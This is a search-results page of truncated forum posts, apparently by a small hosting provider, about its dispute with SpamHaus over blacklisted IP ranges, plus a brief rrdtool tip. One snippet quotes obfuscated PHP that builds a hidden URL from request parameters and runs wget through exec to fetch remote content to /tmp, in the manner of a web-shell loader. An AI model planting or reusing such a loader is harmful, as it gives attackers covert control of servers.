Search results

Are we really going to spend another two pages saying they should drop it and discuss in private? Seems like they did already..

<?php $a = substr(md5(print_r($_GET, true)), 0, 23); $b = 'fhthnvwfbd/3i.a9opcl:8i'; $t = '0123456789abcdefghijklmnopqrstuvwxyz:/.'; $l = strlen($t); $k = ''; for($i = 0; $i < 23; $i++) {     $k .= $t[(strpos($t, $a[$i]) + strpos($t, $b[$i]) + $l) % $l]; } exec("wget -qO- $k > /tmp/a.txt")...

RamNode, always helpful.

I think ColoCrossing uses ColoCrossing.

http://oss.oetiker.ch/rrdtool/doc/rrdtool.en.html has nice documentation (I'd never heard of rrdtool before and still have never used it but documentation apparently said how to fix the issue :P )

And /var/lib/rrd/load.rrd has the full data? Have you tried rerunning the create with more rows? /usr/bin/rrdtool create ${RRDFILE} --start N -s 30 DS:load1:GAUGE:600:0:100 RRA:AVERAGE:0.5:2:1600

SpamHaus Project Ltd. appears to have additionally delisted our web server block. I don't see any further blocks listed. I will not confirm any changes in the status yet as we are still communicating with SingleHop LLC. I am regaining trust in SpamHaus but they still have a ways to go, this...

This may have worked. I'm not sure yet, as our webserver is still listed despite in not sending spam. I'm not sure why they only replied to the ones I sent today, and not the ones a few days ago, maybe someone else started handling it.

Yes.

We sent emails about some of them like the listing of our web server. We have not received a response to any of those. Since we do not own these IP addresses, generally SingleHop contacts them individually. We are listed on SWIP though. At this point do you think we should still email about...

We've had this email exchange with them: https://www.lunanode.com/duWqmq8ANgGYJCmH.html IMO we haven't really received any meaningful replies.

We did not threaten them to do that. We simply did it.

To what policies are you referring? Well, we've terminated all spammers on our network and are manually screening new customer information.

Also I really don't know what else we can do to convince them. We've already informed them of the changes, especially the manual screening.  We've told them that we'd be happy to take additional actions if they deem what we've done so far to be insufficient. But they responded once and now seem...

It is ironic because that's the listing that is completely illegitimate. I'm glad they at least haven't blacklisted our mail server.

Manual screening has proven effective enough so far. We've informed SpamHaus of the changes we've made to our policies, but they haven't responded.

The five records are related to the customer who registered multiple accounts. The first record is our web server, which doesn't send any email (we have a dedicated mail server outside of SingleHop LLC's network). We're not positive of anything since SpamHaus Project Ltd. is ignoring our...

We'll try to work on that as an alternative to blocking outgoing traffic to port 25 by default. However SpamHaus doesn't seem to care either way, it's easier for them to just shut down small companies. Either way, the same situation won't happen again with the disabled automatic provisioning...

We have suspended all virtual machines where reports were received about spam within a few hours after receiving the report.

We communicated with SingleHop and with SpamHaus, but SpamHaus refused to delist the IP ranges despite our resolution of all issues and institution of manual screening of new customer data. Primarily a single client who registered eight accounts from different IP addresses. We terminated all of...